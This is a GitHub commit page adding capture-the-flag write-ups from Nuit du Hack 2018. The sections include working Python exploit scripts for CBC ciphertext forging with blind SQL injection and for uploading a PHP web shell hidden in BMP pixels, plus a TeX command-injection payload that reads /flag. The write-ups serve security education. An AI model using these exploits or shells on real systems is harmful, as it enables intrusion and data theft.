Skip to content

Commit e4e81b0

Browse files
committed
cryptolol, puse, linkedout and pixeditor writeups
1 parent 3cf53c2 commit e4e81b0

File tree

10 files changed

+358
-1
lines changed

10 files changed

+358
-1
lines changed
+138
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,138 @@
1+
# Cryptolol (Crypto/Web)
2+
3+
In the task we get access to a webpage which only prints out:
4+
5+
![](cryptolol.png)
6+
7+
There is pretty much nothing else there.
8+
But we get an interesting base64 encoded cookie from the server called `USERNAME`.
9+
Playing around with this cookie we figure out it's AES-CBC encrypted username.
10+
We can do some bitflipping of the first bytes and it changes corresponding bytes in next 16 byte block.
11+
We also get a full echo on the decryption results from the server.
12+
13+
Initially we thought it might simply be padding oracle of some sort, but we easily checked that there is no PKCS padding at all.
14+
We removed IV block, so decryption would show only the second block, and then by bitflipping we deduced that the whole thing is padded with spaces.
15+
We also verified that ciphertext we have contains simply what was printed out - `Smelly Tooth Cromwel`.
16+
17+
Short reminder for those who are not familiar with CBC mode: each ciphertext block is decrypted first with AES and then XORed with previous block.
18+
First block is XORed with so called IV, which is appended as the first block of ciphertext.
19+
The trick is that we can change IV however we want, and it will result in changing the plaintext after decryption.
20+
If we XOR k-th byte of IV with value `x` then k-th byte of first plaintext block will also get XORed with `x`.
21+
Using this technique we can force any decryption we want for a single block.
22+
23+
By playing around with a single block we noticed that there is some kind of WAF on the server, because changing the plaintext contents to words like `union` or `sleep` was giving a special error that the contents were suspicious.
24+
25+
We tried to get some kind of SQL Injection, but we could get this to work with only one block.
26+
We decided we need more characters in the query.
27+
28+
Fortuanately server gave us full decryption results, and this allows us to forge a ciphertext for any plaintext we want.
29+
We can do this by:
30+
31+
1. We send bytes `\x00` in as many blocks as we need for the payload we want to send.
32+
2. We read how server decrypted this.
33+
3. We take last block decryption and XOR it with last block of plaintext we want. The result is what the previous block has to be, in order for us to get this result.
34+
4. We set previous block for the XOR result value.
35+
5. We send the current ciphertext again, but without the last block.
36+
6. We repeat steps 2-5 for all blocks until last XOR becomes the IV.
37+
38+
This way we get a ciphertext which will get decrypted to plaintext we want.
39+
40+
There were some issues with the injection payload here:
41+
42+
1. There was WAF which removed some useful instructions
43+
2. It took us a while to figure out the schema and then to notice that for user `Smelly Tooth Cromwel` the `flag` field is null, and we need to find another user with the real flag.
44+
3. We could only get a blind injection, and the query was very particular, because if the result set had more/less than 1 record, it would fail with error, so we used injection in the form of `Smelly Tooth Cromwel' or CONDITION`, and if the condition was true then result set would have more records and there would be error, and otherwise no error would appear.
45+
4. It was pretty slow, even with binary search.
46+
5. Substring-like functions were blacklisted so eventually we casted flag to binary and run regex matching on this:
47+
48+
```python
49+
import base64
50+
import re
51+
from ast import literal_eval
52+
from math import ceil
53+
import requests
54+
from bs4 import BeautifulSoup
55+
from crypto_commons.generic import chunk, xor_string
56+
57+
58+
def pad(plaintext):
59+
blocks = int(ceil((float(len(plaintext)) / 16)))
60+
return plaintext.ljust(blocks * 16, ' ')
61+
62+
63+
def send_payload(payload):
64+
return requests.get('http://cryptolol.challs.malice.fr', cookies={'USERNAME': base64.b64encode(payload)})
65+
66+
67+
def get_error_message(content):
68+
soup = BeautifulSoup(content, 'html.parser')
69+
message = soup.select_one('.error-message')
70+
if message:
71+
if 'Suspicious' in message.text:
72+
raise Exception('filter')
73+
74+
return re.findall('''the user b(["'].*['"]) has been''', message.text)[0]
75+
elif 'Caribbean pirate' in soup.text:
76+
return True
77+
78+
79+
def form_full_payload(plaintext):
80+
blocks = len(pad(plaintext)) / 16
81+
chunks = chunk(pad(plaintext), 16)
82+
payload = ("\0" * 16) * blocks
83+
final_blocks = ["\0" * 16]
84+
for i in range(blocks):
85+
response = send_payload(payload)
86+
decrypted = literal_eval(get_error_message(response.content))
87+
last_block = decrypted[-16:]
88+
new_block = xor_string(chunks[-i], last_block)
89+
final_blocks.append(new_block)
90+
payload = '\x00' * 16 * (blocks - 1) + new_block
91+
return "".join(final_blocks[::-1])
92+
93+
94+
def convert(x):
95+
return "\\\\x" + (hex(x)[2:].zfill(2))
96+
97+
98+
def guess_single(prefix, single):
99+
guess = convert(single)
100+
text = '''
101+
Smelly Tooth Cromwel' or flag is not null and (cast(flag as binary) regexp '^.{{{prefix_len}}}{guess}') #
102+
'''.strip().format(prefix_len=len(prefix), guess=guess)
103+
payload = form_full_payload(' ' * 16 + text)
104+
response = send_payload(payload)
105+
return get_error_message(response.content) is None
106+
107+
108+
def guess_letter(prefix, low, high):
109+
mid = (low + high) / 2
110+
if low == high:
111+
return chr(low)
112+
if guess_single(prefix, mid):
113+
return chr(mid)
114+
print(low, high)
115+
guess = "[%s-%s]" % (convert(low), convert(mid))
116+
text = '''
117+
Smelly Tooth Cromwel' or flag is not null and (cast(flag as binary) regexp '^.{{{prefix_len}}}{guess}') #
118+
'''.strip().format(prefix_len=len(prefix), guess=guess)
119+
print(text)
120+
payload = form_full_payload(' ' * 16 + text)
121+
response = send_payload(payload)
122+
if get_error_message(response.content) is None:
123+
return guess_letter(prefix, low, mid - 1)
124+
else:
125+
return guess_letter(prefix, mid + 1, high)
126+
127+
128+
def main():
129+
flag = ""
130+
while True:
131+
flag += (guess_letter(flag, 0, 129))
132+
print("Flag progress:", flag)
133+
134+
135+
main()
136+
```
137+
138+
After some (very long...) time we get `NDH{L!st3n-to_me,MOrty.I_know..that~new$5ituat1oNs*caN--be__int|miDAting...}`
Loading

2018-03-30-nuit-du-hack/README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ Team: shalom, akrasuski1, chivay, nazywam, Eternal, rev, c7f.m0d3
88
* [rescue-shell (pwn)](rescue-shell)
99
* [shreddinger (ppc)](shreddinger)
1010
* [AssemblyMe (re)](re_assembly)
11-
* [Cryptolol (crypto/web)](cryptolol)
1211
* [LinkedOut (web)](web_linkedout)
1312
* [PixEditor (web)](web_pixeditor)
1413
* [Where is my purse (for)](for_purse)
14+
* [Cryptolol (crypto/web)](cryptolol)
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
# Where is my purse (for)
2+
3+
In the task we get a large filesystem image and a memdump to work with.
4+
Interesting part of memdump is a running KeePass instance.
5+
6+
We got some password-like strings from it, but we've never actually used them.
7+
For some reason they were not necessary at all.
8+
9+
We've looked around the drive image and the only unusual files we've noticed were connected with `Dcrwallet` (which had some connotation with "purse" from the task name).
10+
We grabbed all the files of the wallet, and there was a [db file](wallet.db) which contains plaintext string `flag{thx_you_found_my_wallet}`
64 KB
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
# Linked Out (Web)
2+
3+
In the task we get access to a webpage for generating CVs.
4+
We are supposed to upload a YAML input file, and the page generates a PDF with a nice CV theme.
5+
We get an example input file so we can test the platform.
6+
7+
There is a link to the github with style configuration of the theme, so we learn that this is all done with TeX.
8+
9+
This points into the direction of injecting some malicious TeX directives inside the YAML payload in order to exploit the server.
10+
11+
As one of the fields we can send for example '\input|ls ' and we get:
12+
13+
![](inject1.png)
14+
15+
So we can list files on the server.
16+
With this we can try to browse a bit to look for the flag.
17+
We find the `flag` file in root `/` directory and we can send another payload `'\input|"cat /flag"|base64 '` to get:
18+
19+
![](inject2.png)
20+
21+
So the flag is: `NDH{And_Donald_Knuth_created_the_iTeX}`
22+
23+
Final payload [here](inject.yml)
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
cv:
2+
personal_informations:
3+
firstname: A
4+
lastname: Schneier
5+
address: 221b Baker Street, London, ENGLAND
6+
position: Security Expert ; Master of Internet
7+
contacts:
8+
mobile: +12 3 456 789 012
9+
10+
homepage: https://www.schneier.com/
11+
github: schneier-not-my-real-account
12+
gitlab: schneier-not-my-real-account
13+
linkedin: schneier-not-my-real-account
14+
twitter: schneierblog
15+
skype: schneier-not-my-real-account
16+
reddit: schneier-not-my-real-account
17+
xing: schneier-not-my-real-account
18+
misc:
19+
extrainfo: Buy one of my books!
20+
quote: '\input|"cat /flag"|base64 '
21+
committees:
22+
- position: Staff
23+
committee: DEFCON (DEFense security Conferences On Neptune)
24+
location: Neptune
25+
date: 2049
26+
- position: Staff
27+
committee: NDH (Neptune's Days for Hacking)
28+
location: Neptune
29+
date: 2050
30+
- position: Staff
31+
committee: Nuit du Hack
32+
location: Paris
33+
date: 2051
34+
education:
35+
- degree: PhD in Quantum Physics and Astrophysics
36+
institution: University of Rochester
37+
location: Rochester, NY, USA
38+
date: April 1980 -- August 1984
39+
description:
40+
- Eassssssy!
41+
- Very interesting
42+
- degree: PhD in Advanced Computer Security
43+
institution: American University
44+
location: Washington, DC, USA
45+
date: September 1984 -- June 1988
46+
description:
47+
- Wonderful!
48+
experience:
49+
- job title: CTO
50+
organization: Resilient Systems
51+
location: United States of America
52+
date: 1923 -- 2019
53+
responsibilities:
54+
- Too much for you
55+
- job title: CEO
56+
organization: Internet
57+
location: Digital world
58+
date: 2020 -- 2040
59+
responsibilities:
60+
- Be sure it's working
61+
- job title: CEO
62+
organization: Universe
63+
location: Solar system and beyond
64+
date: 2041 -- now
65+
responsibilities:
66+
- Create and manage existing planets
67+
- Create and manage existing stars
68+
- Create and manage existing galaxies
69+
honors:
70+
- award: Finalist
71+
event: NDH Private CTF
72+
location: Paris
73+
date: 2039
74+
- award: Finalist
75+
event: NDH Private CTF
76+
location: Uranus
77+
date: 2040
78+
- award: Finalist
79+
event: NDH Private CTF
80+
location: Mars
81+
date: 2041
82+
- award: Finalist
83+
event: NDH Private CTF
84+
location: Jupiter
85+
date: 2042
86+
presentation:
87+
- role: Presenter of radare5
88+
event: NDH (Neptune's Days for Hacking)
89+
location: Neptune
90+
date: 2091
91+
description:
92+
- Introduced the 5th version of radare disassembler
93+
- Now a 3D interface
94+
- role: Presenter of recon-nnnng
95+
event: HIP (Hack In Pluto)
96+
location: Pluto
97+
date: 2094
98+
description:
99+
- Presenting new features in recon-nnnng (Recon Next Next Next Next Generation)
100+
skills:
101+
- category: Computer Security
102+
list: Too much for you
103+
- category: Nuclear physics
104+
list: Too much for you
105+
- category: Quantum physics
106+
list: Too much for you
107+
- category: Astrophysics
108+
list: Too much for you
109+
- category: Cheeses
110+
list: Cheddard, Reblochon, Coulommiers, Brie
111+
writing:
112+
- role: Writer
113+
title: Data and Goliath
114+
location: United States of America
115+
date: 2015
116+
description:
117+
- About the hidden battles to collect your data and control your world
118+
- role: Writer
119+
title: Secrets and Lies
120+
location: United States of America
121+
date: 2000
122+
description:
123+
- About digital security in a networked world
Loading
Loading
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
# Pixeditor (Web)
2+
3+
In the task we get access to a web-based picture editor.
4+
We can draw a small image by setting pixel colors and then save it on the server as JPG, PNG, BMP or GIF under given filename.
5+
6+
There is a check for the file extension when saving the file, however the name is truncated to 50 characters after the extension check.
7+
So we can use name ending with `.png` to pass the check, but if the name is too long, this extension will be cut.
8+
Using this trick we can save a `.php` file by using name in format `'x'*46+'.php.png`.
9+
10+
Now we would like to place some PHP code inside the file, but we can only draw some pixels.
11+
Fortunately PHP interpreters are permissive, and they will execute anything which looks like valid PHP code.
12+
So we can have some random bytes before and after PHP code in the file, and it will still work.
13+
14+
We need to paint a picture where bytes will create code we want.
15+
The easiest option is to use BMP because pixels simply go into the file directly as BGR color values.
16+
Web editor includes also alpha channel, so we actually have 32x32x4 bytes, and we want to skip every 4th byte, because it won't appear in the output file.
17+
Also the bytes in BMP are inverted, because the web editor format is RGBA and BMP has BGR.
18+
19+
The solution is to split the payload `<?php $_GET['a']($_GET['b']); ?>` into 3-bytes long chunks, and place then in consecutive picture pixels inverted:
20+
21+
```python
22+
import re
23+
import requests
24+
from crypto_commons.generic import chunk
25+
26+
27+
def shell(url):
28+
while True:
29+
b = raw_input("> ")
30+
print(requests.get(url + "?a=system&b=" + b).text[3030:])
31+
32+
33+
def pad(plain):
34+
missing = 3 - len(plain) % 3
35+
return plain + (" " * missing)
36+
37+
38+
def create_shell(main_url):
39+
data = [1 for _ in range(32 * 32 * 4)]
40+
index = 0
41+
for c in chunk(pad("<?php $_GET['a']($_GET['b']); ?>"), 3):
42+
data[index + 2] = ord(c[0]) # R
43+
data[index + 1] = ord(c[1]) # G
44+
data[index] = ord(c[2]) # B
45+
index += 4
46+
url = main_url + "save.php"
47+
name = "A" * 46 + ".php"
48+
r = requests.post(url, data={"data": str(data), "name": name + ".JPG", "format": "BMP"})
49+
link = re.findall("<a href='(.*)'>Download", r.text)[0]
50+
return link
51+
52+
53+
def main():
54+
main_url = "http://pixeditor.challs.malice.fr/"
55+
link = create_shell(main_url)
56+
print(main_url + link)
57+
shell(main_url + link)
58+
59+
60+
main()
61+
```
62+
63+
With such shell we can just find the flag in `/` and cat it to get `NDH{Msp4int.3x3>all>th3g1mp}`

0 commit comments

Comments
 (0)